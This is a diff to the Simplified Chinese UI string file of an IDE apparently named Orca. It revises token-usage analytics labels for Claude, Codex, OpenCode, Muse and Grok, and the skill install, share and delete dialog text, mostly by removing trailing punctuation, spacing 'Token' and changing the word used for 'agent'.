           "c9f7cd30e9": "每日使用量"
         },
         "ClaudeUsagePane": {
@@ -4496,16 +4755,16 @@
           "7dc9e5613b": "按项目",
           "c3fdbc5474": "常用模型：",
           "0f394c24e3": "按模型",
-          "51ae85fa00": "缓存复用率 = 缓存读取token /（输入token + 缓存读取token）。",
+          "51ae85fa00": "缓存复用率 = 缓存读取 Token /(输入 Token + 缓存读取 Token)",
           "b26d4ddb58": "预估 API 等效成本",
           "0f3e696ca9": "会话/轮次",
           "8cc23be4a3": "零缓存读取轮次",
           "1634c4f404": "缓存复用率",
           "b786fb4a70": "缓存写入",
           "268cf0af51": "缓存读取",
-          "2b8a2f14aa": "输出token",
-          "ea71fae8fc": "输入token",
-          "7dde9331fd": "此范围内尚无本地 Claude 使用记录。",
+          "2b8a2f14aa": "输出 Token",
+          "ea71fae8fc": "输入 Token",
+          "7dde9331fd": "此范围内尚无本地 Claude 使用记录",
           "424cd50412": "启用 Claude 使用量分析",
           "8d18bbb771": "刷新",
           "c5b9b344d0": "刷新 Claude 使用量",
@@ -4514,7 +4773,7 @@
           "dd29209b21": "筛选",
           "e9bf9fce0e": "Claude 使用量选项",
           "6afacbee37": "Claude 使用量跟踪",
-          "0cb1a36d7d": "读取本地 Claude 使用日志，显示token、模型和会话统计。",
+          "0cb1a36d7d": "读取本地 Claude 使用日志，显示 Token、模型和会话统计",
           "5ce4842c2c": "所有本地 Claude 使用情况",
           "4f8368c272": "仅 Orca 工作树",
           "cfe2282ffa": "未知",
@@ -4530,8 +4789,8 @@
           "c646e1783c": "缓存输入",
           "7b596a88b2": "输出",
           "99a91d3143": "输入",
-          "e4bdcf0071": "token",
-          "c756cda6a8": "按天汇总的输入、缓存输入、输出和推理。",
+          "e4bdcf0071": "Token",
+          "c756cda6a8": "按天汇总的输入、缓存输入、输出和推理",
           "609aa96e8b": "每日使用量"
         },
         "CodexUsagePane": {
@@ -4542,20 +4801,20 @@
           "c2478bcc3c": "模型",
           "1a65900aea": "项目",
           "0c36b100be": "最后活跃",
-          "0bd8655475": "此范围内最近的本地 Codex 会话。",
+          "0bd8655475": "此范围内最近的本地 Codex 会话",
           "0cb0983c07": "最近的会话",
           "829ee743f2": "用量最高的项目：",
           "b98718aaab": "按项目",
           "95d2d89285": "常用模型：",
           "5a0d1d69cd": "按模型",
-          "94ac1f1ee7": "显示推理token便于查看，但成本仅按未缓存输入、缓存输入和输出计算。",
+          "94ac1f1ee7": "显示推理 Token 便于查看，但成本仅按未缓存输入、缓存输入和输出计算",
           "1a18fbd56b": "预估 API 等效成本",
           "907b31865f": "会话/事件",
           "6e18146e9b": "推理输出",
           "a9ac0f423a": "缓存输入",
-          "5d8eba87bd": "输出token",
-          "e365eaa6fd": "输入token",
-          "4c865393b4": "此范围内尚无本地 Codex 使用记录。",
+          "5d8eba87bd": "输出 Token",
+          "e365eaa6fd": "输入 Token",
+          "4c865393b4": "此范围内尚无本地 Codex 使用记录",
           "f7c1affbd5": "启用 Codex 使用量分析",
           "3022cda443": "刷新",
           "ec4d270e2c": "刷新 Codex 使用量",
@@ -4564,7 +4823,7 @@
           "1af1a39b2f": "筛选",
           "70b5b8581f": "Codex 使用量选项",
           "408210470c": "Codex 使用量跟踪",
-          "13badcd8f2": "读取本地 Codex 使用日志，显示token、模型和会话统计。",
+          "13badcd8f2": "读取本地 Codex 使用日志，显示 Token、模型和会话统计",
           "4fe8820098": "所有本地 Codex 使用情况",
           "201766b754": "仅 Orca 工作树",
           "bf6cf2d4dd": "未知",
@@ -4573,7 +4832,7 @@
           "rangeLast30Days": "过去 30 天",
           "rangeLast90Days": "过去 90 天",
           "rangeAllTime": "全部时间",
-          "costExcludesUnpricedModels": "• 不包括未定价型号"
+          "costExcludesUnpricedModels": "• 不含未定价模型"
         },
         "OpenCodeUsagePane": {
           "349f7c3f5c": "全部的",
@@ -4583,20 +4842,20 @@
           "08c78441b7": "模型",
           "a4738de041": "项目",
           "d97bdf6e27": "最后活跃",
-          "81817a641a": "此范围内的最新本地 OpenCode 会话。",
+          "81817a641a": "此范围内的最新本地 OpenCode 会话",
           "4799177b1c": "最近的会话",
           "048ffe4d65": "顶级项目：",
           "0f0a1684bb": "按项目",
           "a15206a63a": "顶级型号：",
           "040c044d39": "按型号",
-          "e5bb23d85e": "助手消息录制时，成本来自本地OpenCode数据库。",
+          "e5bb23d85e": "当助理消息记录了一条时，成本数据将从本地 OpenCode 数据库中获取",
           "15c34d4b08": "记录成本",
           "7e9433469a": "会话/活动",
           "5a65d68b77": "推理输出",
           "603504ee3b": "缓存输入",
-          "7aa4d8ce35": "输出token",
-          "d637a892ed": "输入token",
-          "bb6363e08c": "尚未找到此范围的本地 OpenCode 用法。",
+          "7aa4d8ce35": "输出 Token",
+          "d637a892ed": "输入 Token",
+          "bb6363e08c": "尚未在此作用域内找到任何本地 OpenCode 的使用情况",
           "f04131b3be": "启用 OpenCode 使用情况分析",
           "603cd138dc": "刷新",
           "bed558df0b": "刷新 OpenCode 使用情况",
@@ -4605,7 +4864,7 @@
           "01583b30aa": "筛选条件",
           "230d6de108": "OpenCode 使用选项",
           "bea80ceae0": "OpenCode 使用情况跟踪",
-          "b8b3522436": "读取本地 OpenCode 使用日志以显示token、模型和会话统计信息。",
+          "b8b3522436": "读取本地 OpenCode 使用日志以显示 Token、模型和会话统计信息",
           "144a6050e9": "所有本地 OpenCode 使用情况",
           "e04c58327c": "仅 Orca 工作树",
           "362231082f": "未知",
@@ -4624,11 +4883,11 @@
         },
         "ShareUsageCard": {
           "4a4c6c79a3": "会话·",
-          "66c83284cf": "每日token",
+          "66c83284cf": "每日 Token",
           "b760c0b622": "顶级模型",
-          "2d9eb39264": "token总数",
+          "2d9eb39264": "Token 总数",
           "beb6f24f37": "预计成本",
-          "da62578d9d": "使用情况",
+          "da62578d9d": "用法",
           "0eb31e79ee": "Orca IDE",
           "960324e9b8": "事件",
           "6adac63cfe": "轮次"
@@ -4637,33 +4896,33 @@
           "42d3e0bdf7": "使用情况分析提供商：{{value0}}",
           "c79f073d4c": "使用情况分析",
           "a58aba506f": "已创建 PR",
-          "1c96f433e2": "智能体工作时间",
-          "9dbec9e675": "已启动智能体",
-          "73ed07859c": "启动第一个智能体以开始统计",
+          "1c96f433e2": "代理工作时间",
+          "9dbec9e675": "已启动代理",
+          "73ed07859c": "启动第一个代理以开始统计",
           "1e696db2f6": "OpenCode",
           "7d26110cea": "Codex",
           "85457c02fe": "Claude",
           "b2cf4310ce": "概览",
           "grokUsageTab": "Grok",
-          "trackingSince": "自 {{value0}} 开始跟踪"
+          "trackingSince": "自 {{value0}} 起跟踪"
         },
         "UsageOverviewPane": {
           "33f7b043d2": "供应商",
           "70f36452d4": "缓存共享",
           "327603fe8b": "活跃天数",
           "0eaf937335": "预计成本",
-          "3887b94ce5": "token总数",
-          "2d13e57f72": "启用OpenCode",
+          "3887b94ce5": "Token 总数",
+          "2d13e57f72": "启用 OpenCode",
           "2f1ee2878b": "启用 Codex",
           "0ea0cae435": "启用 Claude",
-          "6c00c46815": "启用提供商以扫描本地智能体日志并构建组合的token账本。",
-          "49405ccc8d": "开始跟踪token",
+          "6c00c46815": "启用提供商以扫描本地代理日志并构建组合的 Token 账本",
+          "49405ccc8d": "开始跟踪 Token",
           "ca6bc5fded": "刷新",
           "e06d1baf5c": "刷新使用概览",
           "c760c481c5": "使用概述",
           "55c910f4f1": "- 部分型号价格不详",
           "enableMuse": "启用 Muse",
-          "noLocalUsageYet": "尚未找到本地 Claude、Codex、OpenCode 或 Muse 使用情况。概览将在下一个智能体会话写入token日志后填充。",
+          "noLocalUsageYet": "尚未找到本地 Claude、Codex、OpenCode 或 Muse 使用情况，概览将在下一个智能体会话写入token日志后填充",
           "providersEnabledWithData": "{{enabled}} 个已启用 - {{withData}} 个有数据",
           "sessionCount_other": "{{formatted}} 个会话"
         },
@@ -4692,11 +4951,11 @@
             "8efeae0b22": "追踪",
             "5acbe1fdf2": "时间",
             "ef8bbf7739": "PR",
-            "ce8533f02e": "智能体",
+            "ce8533f02e": "代理",
             "0bba8ca244": "统计数据",
             "0e2a0b6431": "用量",
             "372debfac0": "统计数据",
-            "26bb901fcd": "Orca 统计，以及 Claude、Codex、OpenCode、Muse Token 分析和 Grok 订阅使用量。",
+            "26bb901fcd": "Orca 统计，以及 Claude、Codex、OpenCode、Muse Token 分析和 Grok 订阅使用量",
             "cb2430ae6a": "统计和使用情况",
             "f8a1b2c3d4": "grok",
             "e7f0a1b2c3": "订阅",
@@ -4714,25 +4973,25 @@
               "544d6d4c16": "Claude"
             },
             "sections": {
-              "32330a6e66": "{{value0}}：{{value1}} token",
+              "32330a6e66": "{{value0}}：{{value1}} Token",
               "57d1448ef8": "启用",
               "f6df0d7d6d": "更多的",
               "1dd166c920": "较少的",
-              "52d9221dc0": "近期token活动热图",
+              "52d9221dc0": "近期 Token 活动热图",
               "c424eb3f8e": "最好的：",
               "69e2b50427": "每日强度",
-              "3a795542fa": "综合token分布",
+              "3a795542fa": "综合 Token 分布",
               "e65084cb4b": "推理",
-              "3bc4a01b24": "汇总已启用提供商的输入、输出和缓存token。",
-              "4ff104da47": "token分布",
+              "3bc4a01b24": "已启用提供商的输入、输出和缓存 Token 汇总",
+              "4ff104da47": "Token 分布",
               "0015facc1f": "缓存",
               "7f270458af": "输出",
               "9365b14a4e": "新输入",
               "3de9bf87fc": "还没有型号",
-              "recentCombinedActivity": "近期 Claude、Codex、OpenCode 和 Muse 的综合token活动。",
-              "statusScanning": "扫描",
-              "statusEnabled": "启用",
-              "statusOff": "关闭",
+              "recentCombinedActivity": "近期 Claude、Codex、OpenCode 和 Muse 的综合 Token 活动",
+              "statusScanning": "扫描中",
+              "statusEnabled": "已启用",
+              "statusOff": "关",
               "sessionsAndActivity": "{{sessions}} - {{activity}}",
               "tokenTotal": "{{tokens}} token",
               "sessionCount_other": "{{formatted}} 个会话",
@@ -4742,12 +5001,12 @@
           }
         },
         "UsageBreakdownSection": {
-          "7765a4c3e1": "n/a",
+          "7765a4c3e1": "不适用",
           "247c93ca92": "• 推理价格"
         },
         "GrokUsagePane": {
           "g8h9i0j1k2": "Grok 使用量",
-          "b2d3e4f5c6": "来自 Grok CLI OAuth（~/.grok/auth.json）的每周订阅额度。与状态栏使用同一来源。",
+          "b2d3e4f5c6": "来自 Grok CLI OAuth(~/.grok/auth.json)的每周订阅额度，与状态栏使用同一来源",
           "c3e4f5a6b7": "在账户中设置",
           "h9i0j1k2l3": " • {{value0}}",
           "i0j1k2l3m4": "刷新 Grok 使用量",
@@ -4759,13 +5018,13 @@
         "MuseUsagePane": {
           "title": "Muse 使用情况跟踪",
           "enableLabel": "启用 Muse 使用情况分析",
-          "disabledDescription": "读取本地 Muse 会话日志以显示token、模型和会话统计信息。",
+          "disabledDescription": "读取本地 Muse 会话日志以显示token、模型和会话统计信息",
           "scopeAll": "所有本地 Muse 使用情况",
           "optionsLabel": "Muse 使用情况选项",
           "refreshAriaLabel": "刷新 Muse 使用情况",
-          "emptyMessage": "尚未找到此范围内的本地 Muse 使用情况。",
-          "noCostNote": "Muse 会话日志只记录token而不记录费用，因此不显示费用估算。",
-          "recentSessionsDescription": "此范围内最近的本地 Muse 会话。"
+          "emptyMessage": "尚未找到此范围内的本地 Muse 使用情况",
+          "noCostNote": "Muse 会话日志只记录token而不记录费用，因此不显示费用估算",
+          "recentSessionsDescription": "此范围内最近的本地 Muse 会话"
         },
         "usageFormatters": {
           "notScannedYet": "尚未扫描",
@@ -4784,7 +5043,7 @@
           "SourceControlActionVariableChips": {
             "1b77798d5f": "变量",
             "6b921a0ac2": "例子",
-            "4bf6d88039": "（空的）",
+            "4bf6d88039": "(空的)",
             "7377483644": "此工作区"
           }
         }
@@ -4796,16 +5055,16 @@
           "f43ad6edf3": "技能",
           "ea72d6185b": "无法扫描技能",
           "dc4c3328ee": "显示文件",
-          "9963dff6d3": "未找到说明。",
+          "9963dff6d3": "未找到说明",
           "995fde8337": "无法显示技能文件",
           "4acd6d68ec": "未找到技能",
           "6a62a0168c": "无匹配项",
-          "08a321a984": "没有技能匹配当前搜索和筛选条件。",
+          "08a321a984": "没有技能匹配当前搜索和筛选条件",
           "cd7893fbc1": "正在扫描技能",
           "35b9a724a0": "可用",
           "c13b82793c": "管理安装",
           "aee7b99cc6": "从链接安装",
-          "filterProvider": "按智能体筛选",
+          "filterProvider": "按代理筛选",
           "filterSource": "按来源筛选",
           "allSources": "全部",
           "clearFilters": "清除筛选",
@@ -4813,19 +5072,19 @@
           "closeTooltip": "关闭 · Esc",
           "moreActions": "更多操作",
           "sharedLinks": "共享链接",
-          "emptyCopy": "扫描的技能文件夹为空。请安装共享包，或添加技能后刷新。",
+          "emptyCopy": "扫描的技能文件夹为空，请安装共享包，或添加技能后刷新",
           "retry": "重试",
-          "remoteShareNotice": "这些技能位于 {{host}}。请在该机器上打开“技能”以进行共享。",
+          "remoteShareNotice": "这些技能位于 {{host}}，请在该机器上打开\"技能\"以进行共享",
           "viewSwitch": "显示",
           "searchLinks": "搜索链接",
           "deleteSkills": "删除技能…"
         },
         "SkillShareSelectionControls": {
-          "01c5a15e02": "共享技能",
-          "01c5a15e06": "在自己的机器上打开该技能即可分享。",
-          "01c5a15e07": "在分享之前先安装此技能。",
-          "01c5a15e08": "只能共享家庭和工作场所技能。",
-          "01c5a15e09": "已从其他来源选择了具有此名称的技能。"
+          "01c5a15e02": "分享技能",
+          "01c5a15e06": "请在此技能所属的设备上打开它以进行分享",
+          "01c5a15e07": "请先安装此技能再分享",
+          "01c5a15e08": "只能分享主目录和工作区技能",
+          "01c5a15e09": "已从其他来源选择了同名技能"
         },
         "SkillRow": {
           "updatedUnknown": "无日期",
@@ -4835,7 +5094,7 @@
           "skillActions": "{{value0}} 的操作",
           "viewDetails": "查看详情",
           "deleteSkill": "删除…",
-          "notShareable": "不可共享",
+          "notShareable": "不可分享",
           "notDeletable": "不可删除"
         },
         "SkillsList": {
@@ -4871,7 +5130,7 @@
           "deleted_other": "已删除 {{count}} 个技能"
         },
         "filter": {
-          "allAgents": "所有智能体",
+          "allAgents": "所有代理",
           "sharedAgent": "共享 (.agents)"
         },
         "SkillsSelectionHeader": {
@@ -4883,7 +5142,7 @@
           "deleteTitle": "选择要删除的技能"
         },
         "SkillDetailDialog": {
-          "agents": "智能体",
+          "agents": "代理",
           "updated": "已更新",
           "copy": "复制"
         },
@@ -4891,30 +5150,30 @@
           "titleOne": "已安装的 Orca 技能已过期",
           "updateOne": "更新技能",
           "updateMany": "更新技能",
-          "description": "更新 {{value0}}，让智能体遵循此版本 Orca 的最新说明。",
+          "description": "更新 {{value0}}，让代理遵循此版本 Orca 的最新说明",
           "title_other": "{{count}} 个已安装的 Orca 技能需要更新"
         },
         "SkillFreshnessUpdateDialog": {
           "title": "更新技能",
           "checking": "正在检查已安装的 Orca 技能…",
-          "none": "未找到已安装的 Orca 技能。",
-          "success": "所有已安装的 Orca 技能均为最新。",
+          "none": "未找到已安装的 Orca 技能",
+          "success": "所有已安装的 Orca 技能均为最新",
           "checkNow": "立即检查",
           "close": "关闭",
-          "progressAria": "Updating skills",
+          "progressAria": "正在更新技能",
           "errorTitle": "更新未完成",
-          "updating": "Updating…",
-          "done": "Done",
+          "updating": "正在更新…",
+          "done": "完成",
           "finishedWithProblems": "部分技能需要处理",
-          "repair": "之前的更新被中断。更新即可修复。",
+          "repair": "之前的更新被中断。更新即可修复",
           "hideFolders": "隐藏文件夹",
           "showFolders": "显示文件夹",
-          "upToDateOne": "{{value0}} 已是最新。",
+          "upToDateOne": "{{value0}} 已是最新",
           "updatedSkipped": "{{value0}} · 已跳过 {{value1}} 处",
           "noUpdates": "没有可用更新",
-          "updateServer": "请在服务器上更新 Orca，才能更新其 Orca 技能。",
-          "connectHost": "请连接此 SSH 主机，才能检查其 Orca 技能。",
-          "upToDate_other": "{{count}} 个技能已是最新。",
+          "updateServer": "请在服务器上更新 Orca，才能更新其 Orca 技能",
+          "connectHost": "请连接此 SSH 主机，才能检查其 Orca 技能",
+          "upToDate_other": "{{count}} 个技能已是最新",
           "update_other": "有 {{count}} 个可用更新",
           "current_other": "{{count}} 个技能已是最新",
           "updated_other": "已更新 {{count}} 个技能",
@@ -4924,8 +5183,8 @@
           "updateAvailable": "有可用更新",
           "upToDate": "已是最新",
           "installed": "已安装",
-          "details": "Details",
-          "needsAttention": "Review skill",
+          "details": "详情",
+          "needsAttention": "检查技能",
           "checking": "检查中...",
           "checkFailed": "检查失败",
           "updateServer": "请在服务器上更新 Orca",
@@ -4945,9 +5204,9 @@
           "reasonUnowned": "此技能位于 Orca 技能文件夹之外 — 请在其存储位置删除",
           "reasonMissing": "此技能已不在磁盘上",
           "reasonStale": "此技能在列表加载后发生了变化 — 请刷新后重试",
-          "placementSummaryParts": "将在 {{roots}} 中删除 {{parts}}。",
+          "placementSummaryParts": "将在 {{roots}} 中删除 {{parts}}",
           "placementJoin": " 和 ",
-          "retainedSource": "技能本体仍保留在 {{path}}。",
+          "retainedSource": "技能本体仍保留在 {{path}}",
           "blockedLine": "{{count}} × {{reason}}",
           "resultLine": "{{count}} × {{label}}",
           "statusSkipped": "已跳过",
@@ -4955,243 +5214,243 @@
           "statusPartial": "部分移除 — 某些文件仍以隐藏名称保留在磁盘上",
           "statusFailed": "失败 — 未进行任何更改",
           "statusDeleted": "已删除",
-          "confirmHost": "位于 {{host}}。",
-          "confirmPermanent": "此操作无法撤销。",
+          "confirmHost": "位于 {{host}}",
+          "confirmPermanent": "此操作无法撤销",
           "failed": "无法删除技能",
-          "hostUnresolved": "仍在查找存储这些技能的计算机。",
-          "hostUpdateRequired": "请更新所选机器上的 Orca 以删除技能。",
-          "nothingOne": "无法从这里删除该技能。",
-          "hostUnavailable": "无法到达所选机器。刷新并重试。",
-          "nothing_other": "所选的 {{count}} 个技能均无法从此处删除。"
+          "hostUnresolved": "仍在查找存储这些技能的计算机",
+          "hostUpdateRequired": "请更新所选机器上的 Orca 以删除技能",
+          "nothingOne": "无法从这里删除该技能",
+          "hostUnavailable": "无法连接所选计算机，请刷新后重试",
+          "nothing_other": "所选的 {{count}} 个技能均无法从此处删除"
         },
         "SkillShareDialog": {
-          "reconnect": "共享前重新连接您的 Orca 帐户。",
-          "unconfigured": "共享前连接 Orca Cloud 帐户。",
-          "prepareFailed": "无法准备此技能以供共享。",
-          "publishCancelled": "上传已取消。准备好的副本仍然可以重试。",
-          "publishFailed": "无法发布该技能。准备好的副本仍然可以重试。",
-          "nameTaken": "技能名称“{{name}}”已被使用。请重命名您的技能后再共享。",
+          "reconnect": "请重新登录 Orca 账户后再分享",
+          "unconfigured": "请先连接 Orca Cloud 账户再分享",
+          "prepareFailed": "无法准备要分享的技能",
+          "publishCancelled": "上传已取消，准备好的副本仍可用于重试",
+          "publishFailed": "无法发布此技能，准备好的副本仍可用于重试",
+          "nameTaken": "技能名称“{{name}}”已被使用，请重命名您的技能后再共享",
           "copied": "分享链接已复制",
-          "preparing": "正在准备预览...",
-          "ready": "技能链接已准备好",
+          "preparing": "正在准备预览…",
+          "ready": "技能链接已就绪",
           "title": "分享技能",
           "0f07fa2a79": "发布技能",
           "7aa4ba0dba": "发布新版本",
           "3a51d0f34f": "取消上传",
-          "e9d652ae3d": "取消…",
+          "e9d652ae3d": "正在取消…",
           "30985d4fc0": "取消",
           "3af85f6add": "完成",
-          "publishBundle": "发布捆绑包",
-          "cancelRequestFailed": "Orca 无法发送取消请求。上传可能仍会完成。"
+          "publishBundle": "发布技能包",
+          "cancelRequestFailed": "Orca 无法发送取消请求，上传仍可能完成"
         },
         "SkillCard": {
           "d25a1b8ae6": "分享技能",
-          "01c5a16e01": "选择{{value0}}"
+          "01c5a16e01": "选择 {{value0}}"
         },
         "SkillInstallDialog": {
           "39acb9e8f4": "安装技能",
           "59c3b76cdd": "重试安装",
-          "241e72f9d6": "正在安装...",
+          "241e72f9d6": "正在安装…",
           "05588076a9": "取消安装",
           "d198ec91e5": "关闭",
           "fcbec627cc": "安装共享技能",
           "01c5a14e01": "安装共享技能",
-          "opening": "打开这个链接..."
+          "opening": "正在打开此链接…"
         },
         "SkillInstallManagementDialog": {
           "8095927ff3": "关闭",
-          "64c71cf7b9": "Orca 尚未在此计算机上安装任何技能。",
+          "64c71cf7b9": "Orca 尚未在此计算机上安装任何技能",
           "0900db719a": "— 已断开连接",
           "176fef9516": "· SSH",
-          "6cb1fbe039": "这台电脑",
-          "3677ae58e7": "Orca 通过链接安装的技能。可以重新安装、回退到早期版本或将其删除。",
+          "6cb1fbe039": "此计算机",
+          "3677ae58e7": "Orca 通过链接安装的技能。可以重新安装、回退到早期版本或将其删除",
           "44d118a8f7": "由 Orca 安装",
-          "dab29e4b54": "{{installed}} 已安装 · {{updated}} 已更新 · {{keptLocal}} 保留在本地"
+          "dab29e4b54": "已安装 {{installed}} 个 · 已更新 {{updated}} 个 · 本地保留 {{keptLocal}} 个"
         },
         "SkillInstallReviewContent": {
-          "89e2601162": "丢弃并更换",
-          "a5675fb371": "内容并保持原样。保留它，或者明确丢弃并用此版本替换它。",
-          "37d990b94c": "改变了",
-          "2a31912f14": "Orca 被发现",
-          "651b7d8a57": "本地副本需要做出决定",
-          "66270286ac": "· 您可以安全地重试。",
-          "157de228b4": "检验技能",
-          "69236de8d6": "检查…",
+          "89e2601162": "放弃并替换",
+          "a5675fb371": "内容，因此未做改动，您可以保留它，也可以明确放弃并替换为此版本",
+          "37d990b94c": "已更改的",
+          "2a31912f14": "Orca 发现",
+          "651b7d8a57": "需要决定如何处理本地副本",
+          "66270286ac": "· 可以安全重试",
+          "157de228b4": "查看技能",
+          "69236de8d6": "正在检查…",
           "66cff7a804": "https://app.orca.dev/skills/share/…",
           "93eb0fe8c7": "Orca 技能链接",
           "releaseNotes": "发行说明：",
           "targetHeader": "安装目标",
-          "placementsChecked_one": "已检查 {{count}} 个安装位置。",
-          "placementsChecked_other": "已检查 {{count}} 个安装位置。"
+          "placementsChecked_one": "已检查 {{count}} 个安装位置",
+          "placementsChecked_other": "已检查 {{count}} 个安装位置"
         },
         "SkillInstallTargetFields": {
-          "8e6a972229": "这台机器上没有已知的工作区。",
+          "8e6a972229": "此计算机上没有已知的工作区",
           "7a366323e7": "文件夹",
           "d628c416a2": "Git 工作树",
           "5845cfe543": "选择工作树或文件夹",
           "0e5b43a9e3": "工作区",
-          "0c10a406fb": "威斯尔·",
+          "0c10a406fb": "WSL ·",
           "e5b0d15e64": "主机操作系统",
           "cb47652227": "执行环境",
-          "a4dfd33095": "一个工作区",
-          "c779621aa0": "全球技能",
-          "63cc9e31fe": "目的地",
+          "a4dfd33095": "单个工作区",
+          "c779621aa0": "全局技能",
+          "63cc9e31fe": "目标位置",
           "85d85880df": "· SSH",
           "71eefd7660": "— 已断开连接",
           "0785d0a503": "— 需要更新",
-          "8562dd1e6e": "这台电脑",
-          "b8a0b706ad": "机器"
+          "8562dd1e6e": "此计算机",
+          "b8a0b706ad": "计算机"
         },
         "SkillInstallWorkspaceCombobox": {
-          "search": "搜索工作区...",
-          "empty": "未找到工作区。"
+          "search": "搜索工作区…",
+          "empty": "未找到工作区"
         },
         "SkillShareReviewContent": {
           "6d6233a3a4": "复制链接",
-          "0142581727": "正在上传...",
-          "bf02d6ed9e": "这个版本有什么变化？",
+          "0142581727": "正在上传…",
+          "bf02d6ed9e": "此版本有哪些更改？",
           "f0c0411549": "发行说明",
-          "c15d90c10b": "需要连接的 Orca 云帐户。",
+          "c15d90c10b": "需要已连接的 Orca Cloud 账户",
           "b3b1d4b911": "SHA-256",
-          "2dca0b720b": "发布新技能版本",
-          "bundleReady": "技能包链接已准备好",
-          "publishBundleVersion": "发布新的技能包版本",
+          "2dca0b720b": "发布技能新版本",
+          "bundleReady": "技能包链接已就绪",
+          "publishBundleVersion": "发布技能包新版本",
           "shareBundle": "分享技能包",
-          "publishingLink": "发布链接...",
-          "verifyingPackage": "正在验证包..."
+          "publishingLink": "正在发布链接…",
+          "verifyingPackage": "正在验证技能包…"
         },
         "SkillBundleInstallFlow": {
           "01c5a13e01": "关闭",
           "01c5a13e02": "取消安装",
-          "01c5a13e03": "正在安装..."
+          "01c5a13e03": "正在安装…"
         },
         "SkillBundleInstallOutcome": {
           "01c5a12e01": "已安装",
           "01c5a12e02": "已更新",
-          "01c5a12e03": "不变",
-          "01c5a12e04": "保持本地化",
-          "01c5a12e07": "捆绑安装需要注意。",
-          "01c5a12e08": "安装并验证了技能。",
+          "01c5a12e03": "未更改",
+          "01c5a12e04": "已保留本地版本",
+          "01c5a12e07": "技能包安装需要处理",
+          "01c5a12e08": "技能已安装并通过验证",
           "01c5a12e10": "需要重试",
-          "selectedChecked_other": "已检查 {{count}} 个所选技能。"
+          "selectedChecked_other": "已检查 {{count}} 个所选技能"
         },
         "SkillBundleInstallReview": {
           "01c5a11e09": "发行说明：",
-          "01c5a11e0d": "选择全部",
-          "01c5a11e11": "本地副本需要做出决定",
-          "01c5a11e12": "默认情况下，Orca 将保留这些本地副本。仅选择要丢弃和替换的副本。",
-          "01c5a11e13": "替换 {{value0}} ({{value1}})"
+          "01c5a11e0d": "全选",
+          "01c5a11e11": "需要决定如何处理本地副本",
+          "01c5a11e12": "Orca 默认会保留这些本地副本，请只选择要放弃并替换的副本",
+          "01c5a11e13": "替换 {{value0}}（{{value1}}）"
         },
         "skill-install-progress-state": {
-          "currentSkill": "安装 {{value1}} 的 {{value0}}: {{value2}}..."
+          "currentSkill": "正在安装第 {{value0}} 个，共 {{value1}} 个：{{value2}}…"
         },
         "share": {
           "fileExecutable": "可执行文件",
           "fileScript": "脚本",
-          "reviewFiles": "查看可以运行的文件",
-          "reviewSkills": "审查包含的技能",
+          "reviewFiles": "检查可运行的文件",
+          "reviewSkills": "检查包含的技能",
           "releaseNotesVersion": "发行说明",
           "releaseNotesOptional": "添加发行说明（可选）",
           "releaseNotesFirst": "描述此版本",
-          "manageLinks": "在“设置”中管理或撤销此链接",
-          "noExecutableContent": "没有脚本或可执行文件",
-          "newVersionDescriptionPlain": "将新版本添加到现有链接。",
-          "accessSummaryPlain": "未列出的链接 - 任何拥有它的人都可以安装它。",
+          "manageLinks": "在设置中管理或撤销此链接",
+          "noExecutableContent": "无脚本或可执行文件",
+          "newVersionDescriptionPlain": "向现有链接添加新版本",
+          "accessSummaryPlain": "非公开链接——任何拥有链接的人都可以安装",
           "script_other": "{{count}} 个脚本",
           "executable_other": "{{count}} 个可执行文件"
         },
         "description": {
-          "showLess": "显示较少",
-          "showMore": "显示更多"
+          "showLess": "收起",
+          "showMore": "展开"
         },
         "install": {
-          "authorizing": "授权包访问...",
-          "installing": "下载、验证和安装...",
-          "selectSkill": "至少选择一项技能。",
-          "chooseWorkspace": "选择一个工作区。",
-          "reconnectBeforeInstalling": "安装前重新连接您的 Orca 帐户。",
-          "bundleVerificationFailed": "在 Orca 验证请求的捆绑包之前安装失败。",
-          "destinationAlreadyFinished": "目的地已经完成此安装。",
-          "enterShareLink": "输入 Orca 技能共享链接。",
-          "shareUnavailable": "此共享不可用。该链接可能无效、过期或已撤销。",
-          "requestedVersionVerificationFailed": "在 Orca 验证请求的版本之前安装失败。",
-          "versionVerificationFailed": "Orca 无法验证请求的版本。",
-          "inspectManagedFailed": "Orca 无法检查此计算机上的托管安装。",
-          "reconnectForVersionHistory": "重新连接您的 Orca 帐户以加载版本历史记录。",
-          "versionHistoryUnavailable": "该技能的版本历史记录不可用。",
-          "bundleSkillsMissing": "此版本不包含任何已安装的内置技能。",
-          "reconnectBeforeVersionChange": "在更改版本之前重新连接您的 Orca 帐户。",
-          "removeFailed": "Orca 无法安全地移除该技能。",
-          "agentsLabel": "智能体",
+          "authorizing": "正在授权软件包访问…",
+          "installing": "正在下载、验证并安装…",
+          "selectSkill": "至少选择一个技能",
+          "chooseWorkspace": "请选择工作区",
+          "reconnectBeforeInstalling": "安装前请重新连接您的 Orca 账户",
+          "bundleVerificationFailed": "Orca 尚未验证所请求的技能包，安装便已失败",
+          "destinationAlreadyFinished": "目标位置已完成此次安装",
+          "enterShareLink": "请输入 Orca 技能分享链接",
+          "shareUnavailable": "此分享内容不可用，链接可能无效、已过期或已被撤销",
+          "requestedVersionVerificationFailed": "Orca 尚未验证所请求的版本，安装便已失败",
+          "versionVerificationFailed": "Orca 无法验证请求的版本",
+          "inspectManagedFailed": "Orca 无法检查此计算机上由其管理的安装",
+          "reconnectForVersionHistory": "请重新连接您的 Orca 账户以加载版本历史记录",
+          "versionHistoryUnavailable": "此技能没有可用的版本历史记录",
+          "bundleSkillsMissing": "此版本不包含已安装技能包中的任何技能",
+          "reconnectBeforeVersionChange": "更改版本前请重新连接您的 Orca 账户",
+          "removeFailed": "Orca 无法安全移除此技能",
+          "agentsLabel": "代理",
           "agentNotInstalled": "未安装",
-          "agentsNone": "没有选择智能体",
-          "agentsSelected": "安装：{{value0}}",
-          "linkHint": "打开链接永远不会安装任何东西——你首先要检查它。",
-          "rowNeedsDecision": "需要一个决定",
+          "agentsNone": "未选择代理",
+          "agentsSelected": "将为以下代理安装：{{value0}}",
+          "linkHint": "打开链接不会安装任何内容——您会先进行检查",
+          "rowNeedsDecision": "需要决定",
           "rowInstalled": "已安装",
           "rowUpdate": "更新",
-          "rowNew": "新建",
-          "chooseSkills": "从此链接选择要安装的内容。",
-          "singleRunnableWarning": "该技能包括脚本或二进制文件。",
-          "reviewRunnableFiles": "包括脚本或二进制文件",
+          "rowNew": "新增",
+          "chooseSkills": "选择要从此链接安装的内容",
+          "singleRunnableWarning": "此技能包含脚本或二进制文件",
+          "reviewRunnableFiles": "包含脚本或二进制文件",
           "reviewSupportingFiles": "查看支持文件",
-          "reviewInstructions": "关于这个技能",
